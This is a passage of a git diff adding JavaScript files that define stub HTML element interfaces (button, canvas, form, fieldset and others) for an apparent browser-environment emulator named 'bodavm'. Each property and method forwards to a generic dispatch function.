bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_get", arguments)}, set:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "ononline", {configurable:true, enumerable:true, get:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_get", arguments)}, set:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpagehide", {configurable:true, enumerable:true, get:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_get", arguments)}, set:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpageshow", {configurable:true, enumerable:true, get:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_get", arguments)}, set:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpopstate", {configurable:true, enumerable:true, get:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_get", arguments)}, set:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onrejectionhandled", {configurable:true, enumerable:true, get:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_get", arguments)}, set:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onstorage", {configurable:true, enumerable:true, get:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_get", arguments)}, set:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunhandledrejection", {configurable:true, enumerable:true, get:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_get", arguments)}, set:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunload", {configurable:true, enumerable:true, get:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_get", arguments)}, set:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLButtonElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLButtonElement.js new file mode 100644 index 00000000..e0d064f5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLButtonElement.js @@ -0,0 +1,22 @@ +// HTMLButtonElement对象 +bodavm.memory.globalobj['HTMLButtonElement'] = function HTMLButtonElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLButtonElement'], "HTMLButtonElement"); +bodavm.memory.globalobj['HTMLButtonElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLButtonElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formAction", {configurable:true, enumerable:true, get:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_get", arguments)}, set:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formEnctype", {configurable:true, enumerable:true, get:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_get", arguments)}, set:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formMethod", {configurable:true, enumerable:true, get:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_get", arguments)}, set:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formNoValidate", {configurable:true, enumerable:true, get:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_get", arguments)}, set:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formTarget", {configurable:true, enumerable:true, get:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_get", arguments)}, set:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "willValidate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validity_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "labels_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "checkValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "reportValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "setCustomValidity", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLCanvasElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLCanvasElement.js new file mode 100644 index 00000000..173862c9 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLCanvasElement.js @@ -0,0 +1,12 @@ +// HTMLCanvasElement对象 +bodavm.memory.globalobj['HTMLCanvasElement'] = function HTMLCanvasElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCanvasElement'], "HTMLCanvasElement"); +bodavm.memory.globalobj['HTMLCanvasElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLCanvasElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "captureStream", {configurable:true, enumerable:true, writable:true, value:function captureStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "captureStream", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "getContext", {configurable:true, enumerable:true, writable:true, value:function getContext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "getContext", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toBlob", {configurable:true, enumerable:true, writable:true, value:function toBlob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toBlob", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toDataURL", {configurable:true, enumerable:true, writable:true, value:function toDataURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toDataURL", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "transferControlToOffscreen", {configurable:true, enumerable:true, writable:true, value:function transferControlToOffscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "transferControlToOffscreen", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLDivElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLDivElement.js new file mode 100644 index 00000000..7f3838fe --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLDivElement.js @@ -0,0 +1,6 @@ +// HTMLDivElement对象 +bodavm.memory.globalobj['HTMLDivElement'] = function HTMLDivElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDivElement'], "HTMLDivElement"); +bodavm.memory.globalobj['HTMLDivElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDivElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDivElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFieldSetElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFieldSetElement.js new file mode 100644 index 00000000..4ecb74ef --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFieldSetElement.js @@ -0,0 +1,16 @@ +// HTMLFieldSetElement对象 +bodavm.memory.globalobj['HTMLFieldSetElement'] = function HTMLFieldSetElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFieldSetElement'], "HTMLFieldSetElement"); +bodavm.memory.globalobj['HTMLFieldSetElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFieldSetElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "type_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "elements", {configurable:true, enumerable:true, get:function elements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "elements_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "willValidate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validity_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "checkValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "reportValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "setCustomValidity", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFontElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFontElement.js new file mode 100644 index 00000000..6067e6d5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFontElement.js @@ -0,0 +1,8 @@ +// HTMLFontElement对象 +bodavm.memory.globalobj['HTMLFontElement'] = function HTMLFontElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFontElement'], "HTMLFontElement"); +bodavm.memory.globalobj['HTMLFontElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFontElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFontElement', "color", {configurable:true, enumerable:true, get:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_get", arguments)}, set:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFontElement', "face", {configurable:true, enumerable:true, get:function face (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_get", arguments)}, set:function face (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFontElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFormElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFormElement.js new file mode 100644 index 00000000..0bfdca98 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFormElement.js @@ -0,0 +1,21 @@ +// HTMLFormElement对象 +bodavm.memory.globalobj['HTMLFormElement'] = function HTMLFormElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormElement'], "HTMLFormElement"); +bodavm.memory.globalobj['HTMLFormElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFormElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFormElement', "acceptCharset", {configurable:true, enumerable:true, get:function acceptCharset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_get", arguments)}, set:function acceptCharset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "action", {configurable:true, enumerable:true, get:function action (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_get", arguments)}, set:function action (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "enctype", {configurable:true, enumerable:true, get:function enctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_get", arguments)}, set:function enctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_get", arguments)}, set:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_get", arguments)}, set:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "noValidate", {configurable:true, enumerable:true, get:function noValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_get", arguments)}, set:function noValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "elements", {configurable:true, enumerable:true, get:function elements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "elements_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "checkValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reportValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "requestSubmit", {configurable:true, enumerable:true, writable:true, value:function requestSubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "requestSubmit", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reset", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "submit", {configurable:true, enumerable:true, writable:true, value:function submit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "submit", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFrameSetElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFrameSetElement.js new file mode 100644 index 00000000..a2752a05 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFrameSetElement.js @@ -0,0 +1,29 @@ +// HTMLFrameSetElement对象 +bodavm.memory.globalobj['HTMLFrameSetElement'] = function HTMLFrameSetElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameSetElement'], "HTMLFrameSetElement"); +bodavm.memory.globalobj['HTMLFrameSetElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFrameSetElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "cols", {configurable:true, enumerable:true, get:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_get", arguments)}, set:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_get", arguments)}, set:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", 